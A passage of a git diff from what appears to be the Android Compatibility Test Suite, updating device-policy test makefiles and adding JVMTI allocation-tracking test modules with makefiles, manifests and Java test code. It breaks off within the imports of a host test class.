+    legacy-android-test
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/IntentSender/Android.mk b/hostsidetests/devicepolicy/app/IntentSender/Android.mk
index 74509d2..f1abff5 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/Android.mk
+++ b/hostsidetests/devicepolicy/app/IntentSender/Android.mk
@@ -26,7 +26,10 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := \
+	android-support-v4 \
+	ctstestrunner \
+	legacy-android-test
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
index eb4a091..11dbd13 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
+++ b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
@@ -26,7 +26,10 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
 
-LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES = \
+	android-support-v4 \
+	ctstestrunner \
+	legacy-android-test
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk b/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
index 85c74f9..90410d0 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
@@ -26,8 +26,12 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
 
-LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 ctstestrunner compatibility-device-util \
-	ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES = \
+	android-support-v4 \
+	ctstestrunner \
+	compatibility-device-util \
+	ub-uiautomator \
+	legacy-android-test
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk b/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
index 5f2a64e..293bc62 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
@@ -26,7 +26,11 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-v4 \
+    ctstestrunner \
+    ub-uiautomator \
+    legacy-android-test
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk b/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
index 9d936d0..98c0220 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
@@ -26,7 +26,11 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    compatibility-device-util \
+    ub-uiautomator \
+    legacy-android-test
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index c373f3f..03ec633 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -357,6 +357,16 @@
         }
     }
 
+    /**
+     * Execute WifiSetHttpProxyTest as device owner.
+     */
+    public void testWifiSetHttpProxyTest() throws Exception {
+        final boolean hasWifi = hasDeviceFeature("android.hardware.wifi");
+        if (hasWifi && mHasFeature) {
+            executeDeviceOwnerTest("WifiSetHttpProxyTest");
+        }
+    }
+
     public void testCannotSetDeviceOwnerAgain() throws Exception {
         if (!mHasFeature) {
             return;
@@ -407,6 +417,13 @@
                 "testIsProvisioningAllowedFalseForManagedProfileAction");
     }
 
+    public void testBluetoothRestriction() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        executeDeviceOwnerTest("BluetoothRestrictionTest");
+    }
+
     private void executeDeviceOwnerTest(String testClassName) throws Exception {
         if (!mHasFeature) {
             return;
diff --git a/hostsidetests/jdwpsecurity/app/Android.mk b/hostsidetests/jdwpsecurity/app/Android.mk
index 6c7845c..22f236a 100644
--- a/hostsidetests/jdwpsecurity/app/Android.mk
+++ b/hostsidetests/jdwpsecurity/app/Android.mk
@@ -21,12 +21,3 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 include $(BUILD_JAVA_LIBRARY)
-
-# Copy the built module to the cts dir
-cts_library_jar := $(CTS_TESTCASES_OUT)/$(LOCAL_MODULE).jar
-$(cts_library_jar): $(LOCAL_BUILT_MODULE)
-	$(copy-file-to-target)
-
-# Have the module name depend on the cts files; so the cts files get generated when you run mm/mmm/mma/mmma.
-$(my_register_name) : $(cts_library_jar)
-
diff --git a/hostsidetests/jvmti/Android.mk b/hostsidetests/jvmti/Android.mk
new file mode 100644
index 0000000..64fe597
--- /dev/null
+++ b/hostsidetests/jvmti/Android.mk
@@ -0,0 +1,17 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/allocation-tracking/Android.mk b/hostsidetests/jvmti/allocation-tracking/Android.mk
new file mode 100644
index 0000000..c5619ad
--- /dev/null
+++ b/hostsidetests/jvmti/allocation-tracking/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiTrackingHostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/allocation-tracking/AndroidTest.xml b/hostsidetests/jvmti/allocation-tracking/AndroidTest.xml
new file mode 100644
index 0000000..84f074d
--- /dev/null
+++ b/hostsidetests/jvmti/allocation-tracking/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiTrackingDeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.tracking" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiTrackingHostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiTrackingDeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.tracking" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/allocation-tracking/app/Android.mk b/hostsidetests/jvmti/allocation-tracking/app/Android.mk
new file mode 100644
index 0000000..71ab1b5
--- /dev/null
+++ b/hostsidetests/jvmti/allocation-tracking/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiTrackingDeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/allocation-tracking/app/AndroidManifest.xml b/hostsidetests/jvmti/allocation-tracking/app/AndroidManifest.xml
new file mode 100755
index 0000000..76d753c
--- /dev/null
+++ b/hostsidetests/jvmti/allocation-tracking/app/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.tracking">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.tracking" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/allocation-tracking/app/src/android/jvmti/cts/JvmtiTrackingTest.java b/hostsidetests/jvmti/allocation-tracking/app/src/android/jvmti/cts/JvmtiTrackingTest.java
new file mode 100644
index 0000000..7a13e79
--- /dev/null
+++ b/hostsidetests/jvmti/allocation-tracking/app/src/android/jvmti/cts/JvmtiTrackingTest.java
@@ -0,0 +1,176 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the License
+ * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+ * or implied. See the License for the specific language governing permissions and limitations under
+ * the License.
+ */
+package android.jvmti.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import java.util.ArrayList;
+import org.junit.Before;
+import org.junit.Test;
+
+import art.Main;
+
+/**
+ * Check tagging-related functionality.
+ */
+public class JvmtiTrackingTest extends JvmtiTestBase {
+
+    @Before
+    public void setUp() throws Exception {
+        // Bind our native methods.
+        Main.bindAgentJNI("android/jvmti/cts/JvmtiTrackingTest",
+                getClass().getClassLoader());
+
+        prefetchClassNames();
+    }
+
+    // Pre-resolve class names so the strings don't have to be allocated as a side effect of
+    // callback printing.
+    private static void prefetchClassNames() {
+        Object.class.getName();
+        Integer.class.getName();
+        Float.class.getName();
+        Short.class.getName();
+        Byte.class.getName();
+        Double.class.getName();
+    }
+
+    private ArrayList<Object> l = new ArrayList<>(100);
+
+    @Test
+    public void testTracking() throws Exception {
+        // Disable the global registration from OnLoad, to get into a known state.
+        enableAllocationTracking(null, false);
+
+        assertEquals(null, getAndResetAllocationTrackingString());
+
+        // Enable actual logging callback.
+        setupObjectAllocCallback(true);
+
+        enableAllocationTracking(null, true);
+
+        l.add(new Object());
+        l.add(new Integer(1));
+
+        enableAllocationTracking(null, false);
+
+        assertEquals(
+                "ObjectAllocated type java.lang.Object/java.lang.Object size 8#"
+                        + "ObjectAllocated type java.lang.Integer/java.lang.Integer size 16#",
+                        getAndResetAllocationTrackingString());
+
+        l.add(new Float(1.0f));
+
+        assertEquals(null, getAndResetAllocationTrackingString());
+
+        enableAllocationTracking(Thread.currentThread(), true);
+
+        l.add(new Short((short) 0));
+
+        enableAllocationTracking(Thread.currentThread(), false);
+
+        assertEquals("ObjectAllocated type java.lang.Short/java.lang.Short size 16#",
+                getAndResetAllocationTrackingString());
+
+        l.add(new Byte((byte) 0));
+
+        assertEquals(null, getAndResetAllocationTrackingString());
+
+        testThread(l, true, true);
+
+        l.add(new Byte((byte) 0));
+
+        assertEquals("ObjectAllocated type java.lang.Double/java.lang.Double size 16#",
+                getAndResetAllocationTrackingString());
+
+        testThread(l, true, false);
+
+        assertEquals("ObjectAllocated type java.lang.Double/java.lang.Double size 16#",
+                getAndResetAllocationTrackingString());
+
+        System.out.println("Tracking on different thread");
+
+        testThread(l, false, true);
+
+        l.add(new Byte((byte) 0));
+
+        // Disable actual logging callback and re-enable tracking, so we can keep the event enabled
+        // and
+        // check that shutdown works correctly.
+        setupObjectAllocCallback(false);
+        enableAllocationTracking(null, true);
+
+        assertEquals(null, getAndResetAllocationTrackingString());
+    }
+
+    private static void testThread(final ArrayList<Object> l, final boolean sameThread,
+            final boolean disableTracking) throws Exception {
+        final SimpleBarrier startBarrier = new SimpleBarrier(1);
+        final SimpleBarrier trackBarrier = new SimpleBarrier(1);
+
+        final Thread thisThread = Thread.currentThread();
+
+        Thread t = new Thread() {
+            @Override
+            public void run() {
+                try {
+                    startBarrier.dec();
+                    trackBarrier.waitFor();
+                } catch (Exception e) {
+                    e.printStackTrace(System.out);
+                    System.exit(1);
+                }
+
+                l.add(new Double(0.0));
+
+                if (disableTracking) {
+                    enableAllocationTracking(sameThread ? this : thisThread, false);
+                }
+            }
+        };
+
+        t.start();
+        startBarrier.waitFor();
+        enableAllocationTracking(sameThread ? t : Thread.currentThread(), true);
+        trackBarrier.dec();
+
+        t.join();
+    }
+
+    // Our own little barrier, to avoid behind-the-scenes allocations.
+    private static class SimpleBarrier {
+        int count;
+
+        public SimpleBarrier(int i) {
+            count = i;
+        }
+
+        public synchronized void dec() throws Exception {
+            count--;
+            notifyAll();
+        }
+
+        public synchronized void waitFor() throws Exception {
+            while (count != 0) {
+                wait();
+            }
+        }
+    }
+
+    private static native void setupObjectAllocCallback(boolean enable);
+
+    private static native void enableAllocationTracking(Thread thread, boolean enable);
+
+    private static native String getAndResetAllocationTrackingString();
+}
diff --git a/hostsidetests/jvmti/allocation-tracking/app/src/art/Main.java b/hostsidetests/jvmti/allocation-tracking/app/src/art/Main.java
new file mode 100644
index 0000000..6f569d1
--- /dev/null
+++ b/hostsidetests/jvmti/allocation-tracking/app/src/art/Main.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the License
+ * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+ * or implied. See the License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package art;
+
+/**
+ * This is a definition of generically exposed implementations by the CTS JVMTI agent.
+ */
+public class Main {
+    // Load the given class with the given classloader, and bind all native methods to corresponding
+    // C methods in the agent. Will abort if any of the steps fail.
+    public static native void bindAgentJNI(String className, ClassLoader classLoader);
+    // Same as above, giving the class directly.
+    public static native void bindAgentJNIForClass(Class<?> klass);
+
+    // General functionality shared between tests.
+    public static native void setTag(Object o, long tag);
+
+    public static native long getTag(Object o);
+}
diff --git a/hostsidetests/jvmti/base/Android.mk b/hostsidetests/jvmti/base/Android.mk
new file mode 100644
index 0000000..38e1a4f
--- /dev/null
+++ b/hostsidetests/jvmti/base/Android.mk
@@ -0,0 +1,17 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/base/app/Android.mk b/hostsidetests/jvmti/base/app/Android.mk
new file mode 100644
index 0000000..cb1d8ba
--- /dev/null
+++ b/hostsidetests/jvmti/base/app/Android.mk
@@ -0,0 +1,28 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE_TAGS := optional
+LOCAL_MODULE := CtsJvmtiDeviceAppBase
+LOCAL_SRC_FILES := $(call all-subdir-java-files)
+LOCAL_SDK_VERSION := current
+LOCAL_DEX_PREOPT := false
+LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    compatibility-device-util \
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/base/app/src/android/jvmti/JvmtiActivity.java b/hostsidetests/jvmti/base/app/src/android/jvmti/JvmtiActivity.java
new file mode 100644
index 0000000..f584952
--- /dev/null
+++ b/hostsidetests/jvmti/base/app/src/android/jvmti/JvmtiActivity.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jvmti;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+import java.lang.Override;
+
+/**
+ * A non-functional activity. All testing is done in the JvmtiTest class.
+ */
+public class JvmtiActivity extends Activity {
+
+    @Override
+    public void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+    }
+
+}
diff --git a/hostsidetests/jvmti/base/app/src/android/jvmti/cts/JvmtiErrors.java b/hostsidetests/jvmti/base/app/src/android/jvmti/cts/JvmtiErrors.java
new file mode 100644
index 0000000..404070e
--- /dev/null
+++ b/hostsidetests/jvmti/base/app/src/android/jvmti/cts/JvmtiErrors.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.jvmti.cts;
+
+public interface JvmtiErrors {
+  public static int NONE                                              = 0;
+
+  public static int INVALID_THREAD                                    = 10;
+  public static int INVALID_THREAD_GROUP                              = 11;
+  public static int INVALID_PRIORITY                                  = 12;
+  public static int THREAD_NOT_SUSPENDED                              = 13;
+  public static int THREAD_SUSPENDED                                  = 14;
+  public static int THREAD_NOT_ALIVE                                  = 15;
+
+  public static int INVALID_OBJECT                                    = 20;
+  public static int INVALID_CLASS                                     = 21;
+  public static int CLASS_NOT_PREPARED                                = 22;
+  public static int INVALID_METHODID                                  = 23;
+  public static int INVALID_LOCATION                                  = 24;
+  public static int INVALID_FIELDID                                   = 25;
+
+  public static int NO_MORE_FRAMES                                    = 31;
+  public static int OPAQUE_FRAME                                      = 32;
+  public static int TYPE_MISMATCH                                     = 34;
+  public static int INVALID_SLOT                                      = 35;
+
+  public static int DUPLICATE                                         = 40;
+  public static int NOT_FOUND                                         = 41;
+
+  public static int INVALID_MONITOR                                   = 50;
+  public static int NOT_MONITOR_OWNER                                 = 51;
+  public static int INTERRUPT                                         = 52;
+
+  public static int INVALID_CLASS_FORMAT                              = 60;
+  public static int CIRCULAR_CLASS_DEFINITION                         = 61;
+  public static int FAILS_VERIFICATION                                = 62;
+  public static int UNSUPPORTED_REDEFINITION_METHOD_ADDED             = 63;
+  public static int UNSUPPORTED_REDEFINITION_SCHEMA_CHANGED           = 64;
+  public static int INVALID_TYPESTATE                                 = 65;
+  public static int UNSUPPORTED_REDEFINITION_HIERARCHY_CHANGED        = 66;
+  public static int UNSUPPORTED_REDEFINITION_METHOD_DELETED           = 67;
+  public static int UNSUPPORTED_VERSION                               = 68;
+  public static int NAMES_DONT_MATCH                                  = 69;
+
+  public static int UNSUPPORTED_REDEFINITION_CLASS_MODIFIERS_CHANGED  = 70;
+  public static int UNSUPPORTED_REDEFINITION_METHOD_MODIFIERS_CHANGED = 71;
+  public static int UNMODIFIABLE_CLASS                                = 79;
+
+  public static int NOT_AVAILABLE                                     = 98;
+  public static int MUST_POSSESS_CAPABILITY                           = 99;
+
+  public static int NULL_POINTER                                      = 100;
+  public static int ABSENT_INFORMATION                                = 101;
+  public static int INVALID_EVENT_TYPE                                = 102;
+  public static int ILLEGAL_ARGUMENT                                  = 103;
+  public static int NATIVE_METHOD                                     = 104;
+  public static int CLASS_LOADER_UNSUPPORTED                          = 106;
+
+  public static int OUT_OF_MEMORY                                     = 110;
+  public static int ACCESS_DENIED                                     = 111;
+  public static int WRONG_PHASE                                       = 112;
+  public static int INTERNAL                                          = 113;
+  public static int UNATTACHED_THREAD                                 = 115;
+  public static int INVALID_ENVIRONMENT                               = 116;
+}
diff --git a/hostsidetests/jvmti/base/app/src/android/jvmti/cts/JvmtiTestBase.java b/hostsidetests/jvmti/base/app/src/android/jvmti/cts/JvmtiTestBase.java
new file mode 100644
index 0000000..0b54a93
--- /dev/null
+++ b/hostsidetests/jvmti/base/app/src/android/jvmti/cts/JvmtiTestBase.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.jvmti.cts;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.runner.RunWith;
+
+import android.jvmti.JvmtiActivity;
+import art.CtsMain;
+
+/**
+ * Base class for JVMTI tests. Ensures that the agent is connected for the tests. If you
+ * do not subclass this test, make sure that JniBindings.waitFor is appropriately called.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public abstract class JvmtiTestBase {
+
+    /**
+     * A reference to the activity being tested.
+     */
+    protected JvmtiActivity mActivity;
+
+    @Rule
+    public ActivityTestRule<JvmtiActivity> mActivityRule =
+            new ActivityTestRule<>(JvmtiActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+
+        // Make sure that the agent is ready.
+        CtsMain.waitFor();
+    }
+}
diff --git a/hostsidetests/jvmti/base/app/src/art/CtsMain.java b/hostsidetests/jvmti/base/app/src/art/CtsMain.java
new file mode 100644
index 0000000..4970c07
--- /dev/null
+++ b/hostsidetests/jvmti/base/app/src/art/CtsMain.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the License
+ * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+ * or implied. See the License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package art;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * An entrypoint for the CTS JVMTI agent to signal to the Java side that it has attached.
+ */
+public class CtsMain {
+
+    private static CountDownLatch sStartWaiter = new CountDownLatch(1);
+
+    /**
+     * This method will be called by the agent to inform the test that JNI methods are bound. The
+     * counterpart is waitFor.
+     */
+    @SuppressWarnings("unused")
+    private static void startup() {
+        sStartWaiter.countDown();
+    }
+
+    public static void waitFor() {
+        try {
+            if (!sStartWaiter.await(15, TimeUnit.SECONDS)) {
+                throw new RuntimeException("Timed out waiting for the agent");
+            }
+        } catch (InterruptedException e) {
+            throw new RuntimeException("Got interrupted waiting for agent.");
+        }
+    }
+}
diff --git a/hostsidetests/jvmti/base/host/Android.mk b/hostsidetests/jvmti/base/host/Android.mk
new file mode 100644
index 0000000..08bcb8e
--- /dev/null
+++ b/hostsidetests/jvmti/base/host/Android.mk
@@ -0,0 +1,25 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := optional
+LOCAL_SRC_FILES := $(call all-subdir-java-files)
+LOCAL_SDK_VERSION := current
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt compatibility-host-util
+
+include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
new file mode 100644
index 0000000..7db3124
--- /dev/null
+++ b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
@@ -0,0 +1,263 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the License
+ * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+ * or implied. See the License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package android.jvmti.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.ITestRunListener;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.ddmlib.testrunner.TestIdentifier;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.Option;
+import com.android.tradefed.device.ITestDevice;
